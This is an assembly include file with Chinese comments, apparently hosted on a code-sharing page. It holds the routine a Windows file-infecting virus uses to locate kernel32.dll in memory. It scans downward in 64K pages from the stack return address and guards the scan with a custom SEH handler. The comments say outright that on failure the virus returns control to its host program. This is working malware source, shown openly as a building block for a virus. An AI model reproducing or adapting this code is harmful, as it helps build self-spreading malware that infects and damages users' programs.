📄 _getkernel.inc
字号:
;###########################################################################
;# 得到 kernel32.dll 的内存地址 #
;###########################################################################
;########################################
;# 由于系统启动新进程时,会将程序返回 #
;# 地址入栈,而启动进程的函数在 #
;# kernel32.dll中,所以这个入栈的地址 #
;# 必在 kernel32.dll 中.这样,我们按页 #
;# 向上找就能找到 kernel32.dll 在内存 #
;# 中的地址 #
;########################################
MOV ESI , [ESP]
;########################################
;# 添加SEH异常处理 #
;########################################
ASSUME FS : NOTHING
PUSH EBP
LEA EAX , [EBX + @Kernel_FindNext]
PUSH EAX
LEA EAX , [EBX + _SEHHandler]
PUSH EAX
;########################################
;#优化以减少空间: #
;# PUSH FS : [0] #
;# MOV FS : [0] , ESP #
;########################################
XOR EAX , EAX
PUSH FS : [EAX]
MOV FS : [EAX] , ESP
;########################################
;# 按页对齐,每页 64K (10000H) #
;# AND ESI , 0FFFF0000H #
;# 优化如下 #
;########################################
XOR SI , SI
@Kernel_FindLoop:
CMP WORD PTR [ESI] , IMAGE_DOS_SIGNATURE
JNE @Kernel_FindNext
MOV EDI , ESI
ADD EDI , [EDI + IMAGE_DOS_HEADER.e_lfanew]
CMP WORD PTR [EDI] , IMAGE_NT_SIGNATURE
;########################################
;# 找到了 kernel32.dll保存地址, #
;# 保存地址到 ESI 中, 继续执行后面程序 #
;########################################
JE @Kernel_FindEnd
@Kernel_FindNext:
SUB ESI , 010000H
CMP ESI , 070000000H
JNLE @Kernel_FindLoop
;########################################
;# 无法找到kernel32.dll地址,病毒运行的 #
;# 必需API无法加载,直接回宿主程序执行 #
;########################################
JMP V_End
;########################################
;# 恢复原来的SEH异常处理 #
;# 由于上面4次PUSH #
;# 即使 POP FS : [EAX] 后,还有 #
;# 3 * SIZEOF DWORD 字节没有平衡 #
;########################################
@Kernel_FindEnd:
XOR EAX , EAX
POP FS : [EAX]
ADD ESP , 3 * SIZEOF DWORD
;###########################################################################
;# 获得 kernel32.dll 的内存地址结束 #
;###########################################################################
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -